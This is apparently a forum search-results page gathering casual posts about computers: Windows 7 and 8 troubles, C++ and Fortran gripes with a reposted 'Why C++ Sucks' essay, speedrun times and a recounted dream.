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Did you mean wagoner?

In Dream Time by Kelli:
After several nights of poor sleep in a row (Taksim Square in Istanbul was noisy, and Jerusalem had an amazing bar that kept me out way too late) I've finally started sleeping well now that I'm in Tel Aviv. At least until I had the following dream --

Access to the Temple Mount in Jerusalem is strictly limited for non-Muslims, with only one possible entryway available during specific hours of the day. I had just missed the day's window, and was pouting outside the gate when Alex showed up with a sandwich in hand. I started relaying my disappointment to him, when he walked right past me and started conversing with the guard at the gate. Before even a minute had passed, he was excitedly offering his untouched sandwich to the guard, who stated that he couldn't accept the sandwich if it was pork, as he was a devout Muslim. Alex assured him that it was not pork, then quietly pulled out his cell phone and started filming as the man took his first bite.

The guard quickly realized his mistake, threw the juicy pork sandwich to the ground and came charging at Alex -- who was laughing by this point -- and only after several other guards held their partner back, and many profuse apologies on our part, did we manage to get away. I was livid, but we'd managed to escape any serious harm, so I told Alex to consider himself lucky and we went our separate ways.

Despite the near-miss, Alex proceeded to upload the video he'd taken once he was back at his computer the next day, and international outrage over American interference at one of Islam's holiest sites quickly plunged the entire region into war. I realized I'd probably never be able to visit the site in my lifetime, and woke up from the dream out of pure despair.

Thanks.

In S.A.H. Updates by Nezumi:
Yea, I tried it on Fire Fox at my home and work computer.

In Foram Features Fupdates! by buq25:
I'm not sure it works how it's supposed to. For Windows phone, atleast.

Supforumcom.jer without clicking/zooming anything after going to the url:


After zooming out as far out as possible:

Makes text really hard to read because of phone size. I can't see any difference between this and the computer version.

Subfuram:

I think the HTML screwed itself up a bit. Possible Internet Explorer Windows Phone issue.

Inside truck:

This works fine. A "problem" is that the black pixel to the right of the post is basicly invisible since it's so small and next to the black border of my phone. It makes it feel like you can scroll to the right when you can't. If you made the message-box a bit smaller than the full width of the phone it would probably be better.


Another picture of subferim:

Look at the scroll bar to the right. There is so many trucks per page and they're relatively tall compared to the computer version. It's like a waterfall of trucks. Truckerfall. Truckfall. Watertruck. Truckwater...
Also, if you look at the placement of the boxes around the text they're incorrect unless the name of the truck has 2 rows of text.

In Awesome Games Done Quick 2014 by NatureJay:
SuperJer said:
My new best Zelda time:

04:02.58 Level-2
12:28.87 Level-1
17:56.78 Level-3
23:44.13 Level-4
30:53.85 Level-6
35:46.51 Level-5
40:08.52 Level-7
43:33.92 Level-8
53:24.84 Level-9 (GAME)

I did a test stream on Twitch in 55:00 (about). The recording is up but the framerate is bad. I need to use a faster computer.

www.twitch.tv/superjercom

I WAS IN THE ROOM WHEN IT HAPPENED

(ato and I were busy watching the Super Metroid race)

In Awesome Games Done Quick 2014 by SuperJer:
My new best Zelda time:

04:02.58 Level-2
12:28.87 Level-1
17:56.78 Level-3
23:44.13 Level-4
30:53.85 Level-6
35:46.51 Level-5
40:08.52 Level-7
43:33.92 Level-8
53:24.84 Level-9 (GAME)

I did a test stream on Twitch in 55:00 (about). The recording is up but the framerate is bad. I need to use a faster computer.

www.twitch.tv/superjercom

In Awesome Games Done Quick 2014 by NatureJay:
Few of the runs that I've wanted to watch this year have been at times where I've been awake and computer accessible. I wanted to see the Cave Story run, but couldn't so I just watched a TAS instead.

I am watching the Yoshi's Island now. There was a fire alarm around 1:12 that fucked EVERYTHING up.

In A map in CS by mr.lonely:
I have downloaded a cs game that has a map that contains a great stuff and now i have reseted my computer and i have lost it
Map Info : Lighthouse with stairs - hostages in a big boat - ct spawn points in a club outside the boat - terroriste spawn point in the big boat
If you know the map plizz let me know im waiting patienetely


In C++ broken stuff whatever shit dog by Down Rodeo:
Basically, #include <header.h> will look in standard OS locations for header files. Like, I dunno, gcc's install directory, Visual Studio's defined header locations, whatever. It will also look in the locations you pass to the compiler, probably with a flag like -I"../path/to/hedders". This is why the compiler can't find it.

You actually want #include "header.h", which will look in the current directory (or as superjer notes you can pass a relative path in there, if that's what turns you on).

So to clarify: #include "BlackThornDemon.h". What kind of header file has that name anyway? :s

There's more, you probably want #include <Arduino.h> but that seems to be working regardless, also you will need #include "../BlackThornDemon.h", just like superjer said. When it tells you it can't find the file, there's a reason. It's because it's not where it's looking! And I tend to trust the computer when it says it can't find it.


In SRAW is leet again by buq25:
SuperJer said:
And they made the start menu look like a teenage girl's myspace page

I actually like how it looks. Unfortunately it is rediculously limited though. No steam game shorcuts work because of how they're actually URL-shortcuts.

Steam shortcuts can be manually added by moving them into a specific folder, edit something to make the menu realize that they're there and last you have to restart the entire computer. A bit too many steps for me.

In SRAW is leet again by SuperJer:
aaronjer said:
The problem is the lack of windows. Windows should have windows, or they should call it Fullscreens so we know not to buy it.

Well, there's that.

And they made the start menu look like a teenage girl's myspace page.

And the new search never finds what I'm looking for.

And it pointlessly has "categories" or some shit.

And it takes 11 minutes to recognize that I've plugged in my mouse.

And file associations default to opening annoying Metro apps from desktop mode so I can't look at a photo while reading something else, without changing the associations.

And a zillion things like that.

And it has multiple screen support but it's worse than UltraMon, which I was using before.

And I can't upgrade my graphics drivers without bricking the whole system.

And even when I try to use the Metro crap, nothing works. Like I see an interesting news story in the News tile, click it, and that story is nowhere to be found.

And the two IE's don't seem to know about each other.

Oh, and since upgrading to 8, my computer can no longer wake from hibernation.

In pc problems... by nectar:
hello, i thought u know alot about pc so i wanted to ask about a problem i got.
My computer wont turn on normally. the light will go on the blue one and the red one but then the red one turns off and no boot. when it works, the red will flash. I dont know the problem, first it hought ram, then energy, then video, now BIOS but i dont know, i get it to turn on randomly, trying to take all ram out, disconnecting and connecting all, connecting different outlet, reseting BIOS, nothing, today i jsut opened the CD thingy and it beep once then it turned on. i once got 8 beeps, another 9 and today 7. ?

In windows 8 by buq25:
superjer said:
Also Win 8 has crashed on me more than a few times, which doesn't help.

It does have some weird problems which I assume will go away after Microsoft figures it out.

So far some bugs that I have noticed:

It changes timezones randomly. Random as in sometimes when I start up my computer it thinks it's in the US as is runnning about 7 hours wrong.

It forgets what some programs were doing just before. For an example, when you open Steam it will target your last played game. That's not always the case and it will sometimes target The Walking Dead.
This problem also exists with Chrome, but that everytime that I run Chrome it has forgotten everything. The window it opens is not located and not the size I've chosen. Firefox works fine, so I've gone back to it for the moment.

I can't watch the videos on Steam. Steam tells me I need to install the "other browser" version of flash player which doesn't actually seem to install. This might be a problem on Adobe's side though.

Trying to watch youtube videos at 720p or 1080p freezes the video and firefox but the sound is fine.

In Why C++ Sucks by Down Rodeo:
FORTRAN is actually case insensitive, so you can call it FoRtRaN if you so please. Its IO is one of the most horrific things I have ever undertaken. It is physically painful. If you call a file .f and not .f90 then every line must start with 6 spaces or the character 'c' indicating that it is a comment. The parser is retarded. To work out the dependencies of a file, the compiler must look at the .mod file associated with a module. The .mod file is not created until you compile. But what if you don't want to compile until you know the dependencies? Tough!

They have attempted to make it backwards compatible so there have been no far-ranging and indeed really necessary changes to the language. Really, they should make a Fortran where all previous nonsense is ignored, swept under the carpet, whatever.

Everything is passed by reference, but there are no proper pointers. There are both subroutines and functions. Functions can return values, subroutines cannot. Functions can be pure, meaning they have no side effects, but they don't have to be.

This is possibly the most retarded, pants-on-head, why did you not CHANGE THIS CHRIST ALMIGHTY feature: unless you have a line at the top of your source file saying "implicit none", Fortran will assume any identifier you have not declared is a valid variable. Yes. If it starts with [ijklmn] it's of type integer, otherwise real. The only way in modern Fortran to discern between float and double is to say real(kind(some_variable)).

The reason I'm doing Fortran right now is because I am doing a Masters in High Performance Computing. It's pretty cool, we're learning GPU programming at the moment in one of the lectures (the Portland Group actually make a Fortran-CUDA compiler). I spend my time writing shitty parallel code and running said code on the 32nd largest computer in the world :D

Code sample:
FORTRAN code
!> Module for loading files consisting of arrays of ints and floats
!! representing land type and population densities.
module load
use grid
implicit none

!> Integer parameter, ideally a unique file identifier.
integer, parameter :: fileid = 222

contains
subroutine load_terrain(map_image, terrain)
integer, dimension(:,:), allocatable, intent(out) :: terrain
integer :: M, N
character(30) map_image, string_format
open(unit = fileid, file = map_image)
read(fileid, *) M, N
! Write map width into format string, so we know how many ints to read.
write(string_format, '(''('', i4, ''(i1,1x))'')') M
allocate(terrain(M,N))
! Contains an implicit loop to read N lines from the file, but is nice
! and compact.
read(fileid, string_format) terrain
close(fileid)
end subroutine load_terrain
end module load


After this project, never again. Unless I have to.

In Why C++ Sucks by SuperJer:
This covers a lot of the reasons I hate C++, in case you're interested:

cpp-home.com/tutorials/244_1.htm

Why C++ Sucks

C++ sucks because it is a mis-designed pile of crap.

All you have to do is read Bjarne Stroustrop's book on the design and evolution of C++ to understand why: C++ is the iMac of computing languages.

It was designed to have those features necessary to achieve popular success--not those features necessary to be a good programming language.

In the case of something like the iMac, much of the "prettiness" does not necessarily come at the expense of functionality--but this is not always the case. Reducing the iMac's expandability makes it simpler to use--but also potentially consigns it to a gutter market a few years down the road.

The Big Mistake: C Compatibility
In Stroustrop's mind, making C++ compatible with C was instrumental, crucial to its success.

I don't disagree. Plenty of other good object oriented languages are out there, and they've never found much success. Certainly the overhead of learning a brand new language is undoubtedly a significant barrier to acceptance.

I don't think it's any coincidence that Java chose to use C syntax for its core constructs, either.

But C++ went far further than Java in compatibility. C code works nearly unchanged in a C++ compiler. The model of how a C++ program can be separately compiled (i.e. split into multiple separate files) is identical to that of C.

But this introduces hosts of other problems, some which C++ addresses, some of which it addresses with problematic design, and some of which it simply falls down on.

This is not to laud Java--I do not have a particularly high opinions of that language. It does many good things, but owing to its history it also has some odd design elements. (Foremost amongst them being reliance on interpreters during its initial introduction.)

Keep It Simple, Stupid
C++'s biggest problem is its size. People will tell you that this is no big deal; just subset C++ down to whatever part of it you're willing to use; that can be a C subset or something a little larger, or the whole thing.

This logic can be used to justify an infinitely complex language, so one should hesitate to accept it at face value.

The biggest flaw with the argument is that it forces compiler writers to implement a larger language; correctness will be harder to get right, and optimization will suffer. In the case of C++, however, this no longer matters; there are essentially no "just C" compilers anymore to compare to, so any lowered performance of C++ is no doubt also seen by C.

Another significant problem is that it requires an investment of effort to select an appropriate subset. Moreover, you will have difficulty finding books that teach this subset; and, indeed, if you acquire a C++ algorithms book, the odds that the subset chosen for that book matches that of yours is low.

In other words, subsetting is the same as fragmenting the language into lots of separate dialects; it has all the same problems as that, with the added cost of none of those dialects having unique names. What does it mean to say "I've used C++ for six years" on a resume?

Similarly, learning a subset does you no good if you work with other people's code, and they do not use the subset you are expecting; you must be able to understand their subset, and even write it.

Finally, learning a subset doesn't guarantee that you won't avoid being bit by something that's not in the subset you've chosen. For example, you might choose (wisely, IMHO) to avoid using function overloading. You can't tell the compiler this, however, and thus you might unintentionally name two functions the same thing, and cause unimaginable problems thereby. Sure, you'll eventually figure it out, it'll just be another dumb bug, but why use a language that has any number of such gotchas lurking around every corner?

Suppose you choose to just use the C subset of C++. One of the changes C++ makes to C rules is that you can no longer automatically cast from (void *) to other pointer types. The reason for this is clear; in C++, (void *) types are used sufficiently often that hidden bugs might occur. (There is a counter-argument to this even in a C++ context: C++ encourages you to typecast more often than necessary, possibly masking bugs because your typecast hides what would be a real warning.)

Is this a real problem for C? No, it's not, it just means you need to do some extra casting. The following code doesn't work:


   x = malloc(sizeof(x) * num_elements);

Instead you must code it as


    x = (mytype *) malloc(sizeof(x) * num_elements);

Of course, if you are familiar with the idiom found in the first example, you see the flaw in the second; the first version avoids a bug by not explicitly naming x's type; thus if that type changes, the code still (most likely) does the right thing. With the second code, if you change x's type, C++ will complain about the type error, so it won't introduce an error--just unnecessary typing to fix it.

If you're using C++ proper, you would just use the new operator to sidestep this... ignoring the fact that new requires the name of the type...

Too Much Typing
I guess I'm just a whiner if many of my problems boil down to C++ requiring too much typing. Typing is such a tiny fraction of programming that it's not that big a deal. Yet it grates to see such extra 'accidental' (in the sense of Fred Brooks 'No Silver Bullet', i.e. in opposition to 'essential') work required for no good reason.

Example #1
In C, I write a new function, and then add a prototype to the header file. Having to add that prototype is annoying 'accidental' effort; there is no reason this redundancy must be shoveled onto the programmer (it could easily be automatically generated, a la Java or Borland's Turbo Pascal). That something like a header file is needed for separate compilation is undeniable; but that I must maintain it by hand is largely silly.

Still, it's not that much work. Cut and paste, put an 'extern' at the front of the line and a ';' at the end of the line, and you're done:



C file:
   int myFooBar(Foo *foothing, Bar *barthing)
   {
      ...
   }

H file:
   extern int myFooBar(Foo *foothing, Bar *barthing);

Whether this worked out by chance or not, these are easy editting operations to perform without moving your hands from the keyboard; cut a single line (in 'vi', 'yy'; in a windows editor: home, shift-end, ctrl-c), switch buffers, paste, go to beginning of line and type 'extern', go to end of line and type ';'.

The effort is justified because all this information needs to be available for separate compilation.

Consider the equivalent thing for a method in C++:


CPP file:
   int Foo::myBar(Bar *barthing)
   {
      ...
   }

H file:
   class Foo
   {
      ...
      int myBar(Bar *barthing);
      ...
   };

Sure, in this example, the function declaration itself may be shorter, making C++ look better than C, but I'm comparing C++ to a similar, imaginary OO language that doesn't suck.

To make the C++ cut and paste, I don't need to add 'extern' at the front. Instead I have to reach into the middle of the declaration and delete the 'Foo::'. This is actually more work--at least for me, it takes longer, and more thinking, to do this. (You have to actually parse the declaration, which gets more complex as the return value type gets more complex.)

Example #2
Worse yet, C++ makes this necessary in circumstances that it shouldn't be.

Suppose that class Foo in the example above inherits from Baz; and Baz includes as a member in its declaration virtual int myBar(Bar *barthing);. Now, when I want to go implement Foo, I choose to override the definition of myBar found in Baz.

C++ makes me spell out in the declaration of class Foo exactly which methods I'm going to override.

Even though the whole point of virtual functions is that the dispatch occurs at run-time--no compile-time support needed.

Pointless.

Oh, and did I mention that this sort of thing leads to extra unnecessary recompilation?

Why?
I think I know why C++ does it this way. The thing is, if I subclass Foo to make, say, Biz, then if Biz doesn't define myBar for itself, it will need to store a pointer to Foo::myBar in its virtual function table. Thus, the compiler needs to know about everything that goes on under the hood with Foo to build Biz correctly. (Similarly if Biz defines it itself, but calls ::myBar.)

That means, of course, that everything 'under the hood' must be exposed in the class definition. The entire 'private' section must be exposed to subclasses (and also so that 'sizeof' works correctly).

You can try to work around the excess recompilation introduced by this by having multiple header files with differing levels of detail in them; the subclasses and the implementation of the class see the full description, whereas the rest of the world only sees the public definition, unless they need to sizeof... well, as you can imagine, I don't know anyone who actually tries to do that. (It would help if you could flag a class definition as 'incomplete' so inclusions of the wrong header file would fail to compile, instead of producing bugs.) I'm not actually sure that doing this is legal C++, anyway.

This all misses the point. Part of C++'s success is that it didn't require rewriting the linker (after all, initially it just was translated into C code). Separate compilation could be done without needing to see the innards of other classes if the virtual function tables were built up at link time. Even without rewriting the linker, the patching could be done at runtime, during startup. This does not need exposure. (The sizeof problem would still remain.)

Example #3
Yet another case is that of the C-style "static function". Suppose I decide I want to break Foo's implementation of myBar down into multiple smaller steps, using helper functions. Since the code is based around an object, I still want to make these be methods of the class so that I get a 'hidden this' and can refer to instance variables conveniently.


  /* C code: */
     static void myFooBarHelpFunction(Foo *foothing, int intermediate_value)
     {
        ...
     }

     int myFooBar(Foo *foothing, Bar *barthing)
     {
        int value = computeSomething(foo,bar);
        myFoobarHelpFunction(foo, value);
        ...
     }

  // C++ code:
     void Foo::myBarHelpFunction(int intermediate_value)
     {
        ...
     }

     int Foo::myBar(Bar *barthing)
     {
        int value = computeSomething(bar);
        myBarHelpFunction(value);
        ...
     }  

The C++ example is incomplete. As you can see, it lacks the static keyword. This is because, to implement this in C++ like this, you have to add a declaration of this function to the class definition. That's right, to do a local, hidden modularization of this function, which cannot be seen or used by anybody else, including subclasses, you have to touch the class definition, which normally (as noted above) is exposed in the header file to anyone and everyone who interacts with the class. (At least this seems to be the case. Am I missing something?)

Oh, thanks.

And don't forget to delete Foo:: when you add it to the header file.

You can work around this by privately subclassing the type, thus allowing you to create a local class MySubClass type with local, non-exposed declarations. You still end up with a declaration and a definition, as opposed to C where you only need the definition if you put the functions in the right order. And you will have to downcast pointers that are passed in. But it avoids the header dependency.

Pet Peeves
Don't get me wrong. The above three examples aren't just pet peeves. I think of them as serious design flaws. I have pet peeves about the language and the typing therein as well, but they lean more towards personal taste:


Having to prefix every method definition with Foo:: is stupid. We should be able to wrap our definitions inside something like class Foo { ... } and not have to prefix with Foo:: inside it. Of course you could do exactly this, but you can only have one definition of a class, so you can't do this and also include a header file with the class declaration in it, so you need to include the full declaration locally. (Also, providing a mechanism like this would also make cutting and pasting into the header file easier.)
constructors and deconstructors return void, even thought C++ denies it. Yes, removing the need for void from the parameter list and as a prefix on constructors/deconstructors can be seen as an opportune 'fix' to reduce typing, since C++ doesn't back-support K&R C the way ANSI/ISO C does. Sorry, I don't buy it; the amount of typing saved is irrelevent. (It's one thing to save lots of cut&paste editting motion; saving typing four characters while one is already in the middle of typing characters is saving me something like 5 seconds a week.) It introduces a pointless inconsistency.
etc. (Why waste time on pet peeves when there's more juicy bits?)
Indirection
Indirection is the source of nearly all that is good about computer programs. Pointers or handles are crucial to writing code that does more than formula processing.

A relatively crucial element of object-oriented programming is the introduction of indirect function calls. Sure, imperative programming has them as well, but most OO languages make them ubiquitous; many people consider virtual the most important keyword distinguishing C++ and C--that is, if you never use virtual, you may be using classes, but you could just as easily be writing in C.

The thing is that unlike, say, Smalltalk, not all indirection in C++ is at run-time. Stroustrop considered this an important element of C++'s success--by providing multiple mechanisms, you can select the one with the appropriate trade-off of power vs. performance overhead.

But more is not necessarily better. One can imagine a language in which a compiler makes these trade-offs automatically for you. You can imagine a language in which a single keyword changes the underlying implementation, with no syntactic or semantic variations visible.

Not so C++.

In C, a function call can only happen one way:

... foo(x,y); ...

If 'foo' is a variable that is a function pointer, this call is indirect; if not, it is direct. You generally can't tell from syntax, although many people choose to use one of two conventions to distinguish them: either a naming convention (function pointer variables include an extra word in the name), or a syntactic convention for function pointer variables (which is actually legal with function names as well, if I recall correctly):

... (*foo)(x,y); ...

(There are actually some cases where the syntax is unambigous about which, for example (foo->bar)(x) must be an indirect call--that is, any expression where the name would go.)

Assuming you use one or the other convention, then, the two modes of function call are unambiguous to distinguish. Assuming the call is direct, there is a simple mechanic for finding the callee; search back through the source, looking for a prior definition of 'foo' which is now in scope. If not found, grep the header files for exported functions. Only one function named 'foo' can be exported without introducing linker errors, so the result is unambiguous.

If a function call is indirect, the exact same search will tell you where the function variable is defined. An arbitrary effort may be necessary to be expended to determine where that call goes.

Object-oriented languages attempt to make indirection more useful by structuring it. Instead of going "just anywhere", a message send must go to one of the subclasses of a given class, and share that name.

Improving the ability of a programmer to understand indirect function calls is surely a laudable goal. Object-oriented languages are rich with designs people would be unlikely to attempt with C's unwieldy do-it-yourself function indirection methodology.

But there is much to dislike about C++'s execution.

Syntax
As noted above, there is exactly one syntax in C that leads to function calls (the variant syntax in the latter example stands for the exact same semantics); one syntax, but two semantics.

In C++ there are eight syntaces and quite a few semantics.

No joke:

regular function call (expression context): foo(a,b)
constructor call (declaration context): Foo foo
constructor call (declaration context): Foo foo(a,b)
constructor call (expression context): new Foo
constructor call (expression context): new Foo(a,b)
destructor call (block end): }
destructor call (statement context): delete foo;
overloaded operator (expression context): foo+bar
(I'll fold copy/assignment constructors in with overloaded operators.)
Even if you disagree with my splitting the constructors up that way, there'd still be six; moreover, unambiguously, there are four different contexts in which function calls occur (declaration, expression, statement, and block end).

Constructors and Destructors
Of course, if you use constructors and deconstructors in the "right" way, this isn't as bad as it sounds. Constructors and deconstructors only do "good things"; the constructors and deconstructors happen at "times" when such things are best suited to run.

But, nonetheless, this doesn't necessarily make programs easy to comprehend. An example off the top of my head: if an object in a deconstructor removes itself from a hash table, introducing a bug because the hash table shrinks itself, screwing up the currently executing hash iterator, you may spend a long time discovering what is going on.

If we accept, though, that the constructor and destructor calls are there because that leads to better, more comprehensible semantics--that any object-oriented language is going to need something like constructors and destructors--we are only left with two syntaces to discuss: plain function calls and overloaded operators.

Overloaded Operators
Many style guides strongly recommend disallowing overloaded operators. Some advocate allowing operator overloading for mathematical data structures, like bignums, complex numbers, vectors, matrices, and the like. (Care and handling of copy and assignment constructors is more complex, so I'll simply dispense with attempting to argue about them.)

The argument for avoiding overloading operators is often this simple one: it is to easy for someone reading the code to not realize that there are function calls going on. An ordinary syntax that does not normally resemble a function call is suddenly potentially a function call.

The argument for allowing it for math is simple: the expediency of the syntax overwhelms the argument against it. Nothing particularly surprising is going on under the hood, except possibly the performance overhead.

I cannot argue against this philosophy. I choose not to apply it, as the amount of actual addition or subtraction of vectors in my code is so inconsequential that the typing cost is insignificant; nor do I find the shorter, simpler syntax involving overloaded operators to cause me to introduce fewer bugs. But this is surely more a matter of taste than of logic.

Clearly, one would like operator overloading to follow the principle of least suprise. Operators which normally are side-effect free should remain side-effect free. One would hope operators which are normally commutive remain commutative, and associative associative; but this is not always the case (e.g. matrix multiplication). 

But in a short function, in which the types of the variables are obvious, one has trouble imagining operator overloading causing much trouble.

Idioms
The advantages of concise idiom are legion. I have an enormous number of C idioms I use without thought; idioms in the sense that if you are not familiar with them, the meaning of the code may not be immediately obvious. They are easy enough to figure out if you stop and think, but the power of the idiom comes from the lack of need to think; it is easier to understand a larger chunk of code all at once if the elements of it are idioms.

Here are two idioms I use frequently:

   // n loops from n-1 ... 0
   while (n--) {
      ...
   }

   // i = (i + 1) mod n
   if (++i == n) i = 0;

Notably, these idioms rely on preincrementing and postdecrementing, so the odds are high that a reader will have to stop and hesitate and think about the meaning of the code. (The idioms would not normally have the comments describing their meaning.)

Idioms make operator overloading doubly tempting. One aspect is that it allows the use of familiar idioms in new contexts:

   for(FooIter *i(foo); (bool) i; ++i) {
      ... *i ...
   }

(Something like that--I'm not very familiar with C++ operator overloading.)
A second aspect is that it allows the creation of new idioms. Expression syntax is much more powerful for idiomatic constructions than function call syntax. You may have seen this sort of construction in C, using a conventional return value to empower an idiom:


   x = listAdd(listAdd(listAdd(listAdd(newList(), a), b), c), d);

(Specifically, I've seen code like that used for adding elements to a window.)
The indirection and nesting there is ugly, and so you can see it as much clearer if you could use an idiom like:


   x = newList() + a + b + c + d;

I'm not suggesting that people would like this off the cuff; but they might find it tempting to allow operator overloading simply because it allows them to coin such idioms--not just to save typing, but because it becomes much more rapidly comprehenisble. (The nested listAdd()s above are also an idiom, but the difference in ease of comprehension is apparent.)

But this way lies madness!

Such idioms may be powerful, but they build on new, unrelated meanings of the underlying symbols.

It is (I imagine) exactly this reasoning that introduced the ubiquitous operator overloading found in the C++ stream library.

Ask a C programmer what this code does:

a << b << c << d << e;

She will tell you "nothing". None of the operators have side-effects. In C.

Do they have side-effects in C++?

It depends on what functions they call.

C++ programmers swiftly adjust to the use of <<. It seems natural and perfectly reasonable. But don't be fooled by it. Most style guides recommend against coining new forms of operator overloading. That supposed power of idiom is simply too fraught with peril.

Keep this in mind: the argument by analogy to C idioms is broken, because the C idiom is constructed of unambiguous items right there on the page. Comprehending an unfamiliar C idiom just requires parsing the code--an action the reader was already doing. There's no 'secrecy' at all--it just takes a little longer.

Semantics
As noted previously, there are two semantics for a plain C function call. Determining which semantic is in operation is as easy as searching back through the file for the name, and then grepping header files for the name.

Not so for C++. C++ has both run-time indirection and compile-time indirection. In fact, it has a number of flavors of the latter.


   foo(x,y);


a plain C-style function call
a plain C-style indirect function call
a call to a non-virtual method in this class, or any parent class
a call to a virtual method (again defined in any ancestor)
a call to a templated function
a call to a method in a templated class
one of several functions of any of the above types, all with the same name, but different numbers of parameters
one of several functions of any of the above types, all with the same name, the same number of parameters, but different formal parameter types

   foo->bar(x,y)

a plain C-style indirect function call (e.g. bar is a public function pointer)
a call to a non-virtual method in foo's class, or any parent class
a call to a virtual method (again defined in any ancestor of foo)
a call to a method in a templated class
one of several functions of any of the above types, all with the same name, but different numbers of parameters
one of several functions of any of the above types, all with the same name, the same number of parameters, but different formal parameter types
Some of the variants above may not seem like truely distinctive semantics; however, the distinction between run-time and compile-time dispatch is obvious, and the other distinctions are there to call attention to the effort required for someone to locate the implementation of the called function. Any of those cases could turn out to be true, and each is defined differently.

Templates offer the best example of my core complaint. At their heart (ignoring the committee-driven creeping featurism), templates are there to allow you to do something like define a generic hash table class, but specialize it to be implemented "directly" for some specific class, instead of having to pay indirect dispatches at runtime.

However, I've stated previously, I find this approach flawed, because it introduces an entirely new syntax and semantics. I would much prefer if you just defined the hash table as taking some abstract base class, defined your elements to be hashed as deriving from that base class, and then used a magic 'specialize' keyword to 'instantiate the template'. (Of course, personally I'd prefer a Smalltalk-like approach where you didn't need to use abstract base classes at all; the same sort of specialization is nonetheless entirely withint the realm of computability; and Java implementations may attempt to do JIT inlining to achieve the same effect, much as the academic language Self (something of a sequel to Smalltalk) did in the early 1990's.)

Moreover, those lists are far too short, as they don't call attention to the bewildering variety of problems introduced by function name overloading.

At least if all overloaded functions with the same name have different numbers of parameters, the result of the call is unambiguous. A grep for the name will turn up a number of matches, and if the line declaring the function is longer than a single line, some additional effort may need to be expended to figure out just which one. Annoying, but not impossible.

Far worse is the use of multiple names with the same number of parameters. You have to figure out the (compile-time) type of every parameter, exactly, before you can make the right call about which function is called. Go look up through the code to determine the type of any variable used; check in the header file to see what type is returned by this function; try to remember whether * means a dot product or a cross-product of two vectors.

Ok. Now you've got the types.

Go read the definition for how the "best" match for an overloaded function is resolved. I'll still be here. Go ahead.

Set intersection. I don't know about you, but I don't normally do much set intersection when I write function calls.

Ok, let's be fair. You can state it unambigously in English without reference to set intersection: the 'winning' function must have all its parameters "type match" at least as well as all the other candidates, and one of its parameters must "type match" better. (Set aside the rules for "type matching", and the inclusion of user-defined type conversions in them. This rant is already way too long.)

It's easy, in fact, to see how the specified rules underscore human intuition about best match. At least, each rule in isolation does so. I have my doubts about the combination.

Still, I find it a bit uncomfortable. I worry about the compiler's intuition not matching mine. I'd be more comfortable if the compiler only picked out a particular function for me if it was unambiguous; say, because every parameter was a better match for the "winner".

Problem is, that would preclude having, say, all the matching functions sharing, say, a common first element that is the same type. Such functions would always match equally. It's easy to see why C++ uses the rule it does.

The above considerations were based on a programmer who was trying to intentionally leverage function name overloading. What about one who isn't?

Suppose in C I define a function "foobar" in one module, and a define another one with the same name in another module, but with different argument types. In draconian fashion, C will produce a linker error, and force me to rename one or the other.

Is this so bad?

Consider the alternative found in C++: these two functions may be totally unrelated, but through a commonness of the English language (e.g. the same word having two different meanings; consider simply the word 'heap' in the sense of a semi-ordered data structure versus a pool of memory) share an identical name. In C++, name-mangling means those two functions can happily live within the same namespace, and within the same project.

Is this a problem?

What happens if I'm calling foobar() somewhere in my code, and then someone introduces a new #include in my code which now brings the other foobar() into scope? What if I was relying on some automatic type conversions in my call to foobar(), and the new foobar() now matches "better"?

And think about this: is it good that the different functions could come via different semantic mechanisms? So if I grep for "foobar", thinking it is coming from one sort of place, I may miss that a "better match" is being introduced through a different compile-time indirection?

And think about this: is it good that I can add "default arguments" to functions declarations, thus messing up my attempt to cull out possible function calls based on the argument counts not matching?

What a freaking pile. 

In Hai guys ^.^ by aaronjer:
I don't like the name MOBA either, it's so generic it doesn't even make any sense... like what online game ISN'T that? But alas, that is what they are called, so get over it. Lots of things have stupid names. At least in the case of Smite a lot of people refuse to call it a MOBA because its too different.

Also, how much does your laptop suck? Because so far I haven't found a computer shitty enough to not run Smite, it has very low requirements.

In Cappin' Temo by Rockbomb:
Fuck, I forgot to submit this before I left for basic...
I would post the final version, but my comPuter is still in Colorado. Im gonna try to get it sent up here ASAP, and Ill post it then.

In Guild Wars 2 by SolidKAYOS:
I'll let you know how i feel if my computer can run the game. I have a few people wanting me to join them in this so there shall be playing..maybe.

In Windows 7 by buq25:
If you want it legit, you will need to unregister Windows 7 from any other computers it's registered to, to be able to activate it legitemately on your new computer. I don't know how, to be onest.

If you wish to have more time than those 30 days, the command promt "slmgr -rearm" will reset the 30 days, up to 3 times excluding the original 30 days, for a maximum of 120 days.

In Windows 7 by xXJigsaw23Xx:
Yeah, I guess we have used the key too many times or something. I just know after 30 days my windows is going to lock on me, and I know it had told me it was only for upgrading to windows 7 only but we have used it on a clean computer we built before.

In Windows 7 by Rockbomb:
Wait, the real question here is... if you've got the disk, why is the key not working? Have you used it before on another computer?

In Windows 7 by xXJigsaw23Xx:
Hey guys, I know I haven't been able to get on here lately, but I just finished building me a computer. I had a Windows 7 Professional disc, but the key wouldn't work. Anyone here good at getting generated key codes for it, so that it can be genuine?

In Better for making games: C# or C++ by Rockbomb:
Neither one is "better". Every language is different, and provides different features.

C# is probably going to be easier to make a 2d side scroller, especially since there are some pretty good libraries already written that you can use for game developement (XNA, Axiom, etc). Do realize though, that C# creates .net based programs, and they will only be able run on computer that are running .net framework (windows, and some linux distros). So if you're wanting to go cross platform, forget C#.


C++ is a much more extensive language, and you'll be able to achieve more with it. It also has some really good libraries made for game developement/graphics (Direct3d, OpenGL, etc). C++ will take a lot longer to learn than C#, because it is a more robust language. Now, don't get confused when I say that you'll be able to achieve more with C++... while that is true, you might not NEED to achieve any more than you can with C#. Unless you're gonna be writing a bunch of custom shaders, and using using some advanced physics, C# should get the job done.


To make a long story short... for the job you want to get done now (2d side-scroller), C# should more than suffice for what you need. If you plan on making more complicated games in the future, maybe you want to go ahead and just learn C++... be warned though, this is a huge task to take on, and it will take you several years of dedication to get to the point where you can start making decent games.

In My new insane keyboard by SuperJer:
I just ordered this from WASD. I like to confuse/upset people when they try to use my computer. And I'm getting bored of the all-blank Das Keyboard.

Click it to unsmallen!



In Do my vb.net homework for me. Nao. by Rockbomb:
Down Rodeo said:
Who said anything about needing a computer to test? You can write it out by hand. Technically it's not legal C that I showed you; it is better to do
code
a ^= b;
b ^= a;
a ^= b;


but in the end Sprinkles is correct and it flips the variables. I hope you didn't Google it...

As a next question, I dunno. Any requests for a particular area? I know Superjer knows lots.

Hmmm, interesting...


So let's say that a is equal to 2, and b is equal to 5.
a ^= b would set the value of a to 32
b ^= a would set the value of b to 25
a ^= b would set the value of a to some ridiculously long number


I guess I'm not understanding how this would work :/
b would start out with a value of 5, and end up with a value of 25. Then a would start with a value of 2, and end up with a number that probably can't even be stored in a double.


